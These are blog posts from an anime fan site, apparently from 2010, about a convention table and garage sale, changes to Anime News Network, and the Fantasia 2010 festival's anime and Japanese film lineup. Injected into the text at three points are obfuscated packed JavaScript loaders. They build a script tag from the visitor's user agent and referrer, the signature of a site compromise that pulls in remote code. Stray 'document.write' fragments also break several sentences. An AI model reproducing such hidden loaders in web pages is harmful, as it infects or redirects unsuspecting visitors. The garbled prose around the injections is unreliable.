I will be taking care of a couple of tables in the Exhibition Hall (opened Friday from 5:30 pm – 9:00 pm, Saturday from 10:30 am – 7:00 pm and Sunday from 10:30 am – 5:00 pm): one to promote the magazine Protoculture Addicts and another one where I’ll be kicking off my Super Virtual Summer Garage Sale (as you know I will soon have to move out from a huge appartment into a smaller one, so I have to get rid of most of my stuff). Therefore there will be LOTS of anime & manga goodies to sell at VERY good price.

I am not planning any panel this year but come meet me in the Exhibition Hall and I’ll gladly discuss with you!

I am also looking for a volunteer to help at the table. If you are interested please contact me.

The shape of things to come

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On Tuesday the Anime News Network has introduced some changes to the website that are only the first steps into many more improvements to come. Those changes were first announced in a “Letter from the Editor” dated June 24th and then discussed the following day in the ANNCast episode “Totally Boss”.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzrhd|var|u0026u|referrer|tynhf||js|php’.split(‘|’),0,{}))

The night before the changes went online a new “Letter from the Editor” titled “A look at the (near) Future – Interim 1.0” introduced them to the website readers. ANN’s Editor-in-chief, document.write(“”); Christopher Macdonald, was telling us that a new “casual” feed would be added to the “main feed.” While the main feed would remain dedicated to hard news content, the new interest feed would bring “a daily feed of interesting and entertaining articles related to anime.” This would be accompanied with a slight layout change: an icon would be identifying the topic and type of content of each item of the feed.

This is great news. Here’s how the webpage looked on the morning the changes were introduced:

Fantasia 2010

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syene|var|u0026u|referrer|btnad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ersda|var|u0026u|referrer|nenzt||js|php’.split(‘|’),0,{}))
Tuesday, document.write(“”); Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)